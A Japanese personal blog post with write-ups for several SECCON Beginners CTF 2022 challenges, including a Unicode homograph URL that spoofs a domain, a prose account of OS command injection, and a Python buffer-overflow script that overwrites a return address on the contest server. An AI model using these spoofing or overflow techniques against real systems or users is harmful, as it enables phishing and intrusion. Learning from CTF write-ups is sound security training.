【write-up】SECCON Beginners CTF 2022

前書き

前回のブログ記事から1年半以上たってしまいました...
この間何をしていたのかというと、福岡県は久留米市で物理セキュリティエンジニアになるための訓練を10ヶ月間行い、そのあとは緑色のNTTの人としてしばらく勤務していました。久しぶりにCTFに参加することが出来たのでそのwrite-upと、色々あって技術不足を実感しているので、ブログを再開しつつ(一体いつまで続けられるのやら...)技術的なことを書いていこうと思います。

総評

ほぼほぼフルタイムで参加して171位でした。 広く浅く解いた感じで、参加前は「Rev全完するぞ!!」とか思ってたのに全く歯が立ちませんでした... 以下、解けた問題のwrite-upを載せていきます。

[Misk]phisher

近年話題の(?)ホモグラフ攻撃を行う問題。www.examplw.comのURLを偽装して問題サーバに投げ、OpenCVが元のURLと誤認してくれるとflagがもらえる。 以下のunicode文字で偽装したURLを投げたらwww.example.comと認識してくれてflagを得た。

ωωω․ėхаṁрļė․ċōṁ

flagctf4b{n16h7_ph15h1n6_15_600d}

[Misk]H2

バックエンドで動いてると思われるgoのコードとpcapファイルが渡される。 pcapファイルのパケットに対して、文字列ctf4bで検索したらあっさりとflagが見つかってしまった。 flagctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

[Web]Util

goのソースを見てみると、投げられたIPアドレスをそのまま実行しているためOSコマンドインジェクションが可能。 入力フォームへの入力はjsでフィルターがかけられていて有用なコマンドを入力できないため、Burp等でリクエストを書き換える。

一つ上の階層に怪しいファイルがあったのでcatコマンドを投げてみたらflagを得た。 flagctf4b{al1_0vers_4re_i1l}

[Rev]Quiz

何も考えずにstringsでflagを得た。 flagctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

[Rev]Recursive

IDAでコードを読んで言ったら入力された文字列とバイナリ内の文字列テーブルを1Byteづつ確認しているところがあったので、そこにブレークポイントをおいて実行した。 flagctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

[Pwn]BeginnersBof

文字列の長さを適当に設定してセグフォが起きる入力を探していたら長さ128に設定し、40文字以上の入力を与えたときにrbpが上書きされた。バイナリにセキュリティ機構は確認できなかったので、そのままrbpの先のリターンアドレスをwin関数のアドレスに書き換える。

import struct
import socket
import telnetlib

addr = 0x004011e6
length=b"128"
name = b"a"*40
name += struct.pack("<Q",addr)

count=0

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('beginnersbof.quals.beginners.seccon.jp',9000))

while True:
        a = s.recv(1024)
        print(a)
        if( a==b"\n" ):
                count+=1
                if( count==1 ):
                        print(length)
                        s.sendall(length)
                        s.sendall(b"\n")
                elif( count==2 ):
                        print(name)
                        s.sendall(name)
                        s.sendall(b"\n")
                        break
a = s.recv(1024)
print(a)

flagctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

[Crypto]CoughingFox

暗号化と逆順の操作をしていく。ルート取ったときに整数になってれば、その文字が何番目の文字だったのかが分かる。

import math

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

length=len(cipher)

vacant=[0]*length
for i in range(length):
        for j in range(length):
                num=math.sqrt(cipher[j]-i)-math.floor(math.sqrt(cipher[j]-i))
                if( num==0 ):
                        vacant[i] = chr( math.floor((math.sqrt(cipher[j]-i)))-i )

print(vacant)

flagctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

今後について

だいぶ久しぶりにCTFに参加して、だいぶ久しぶりにブログを書いてみると、この2年間ほど何もしてこなかったんだなぁと虚無の感情が発生してしまいます…
今は何とかパソコンを触れる環境にあるので、徐々に復帰していきたいと思います。
今後については、この前出た迷路本を読み進めながら、「これ実装してみよう」と思ったものを実装していく予定。今の調子で言ったらいつになっても迷路本が終わらない気がするのでうまいことインプットとアウトプットを並行して進めていきたい。
あと転職したい…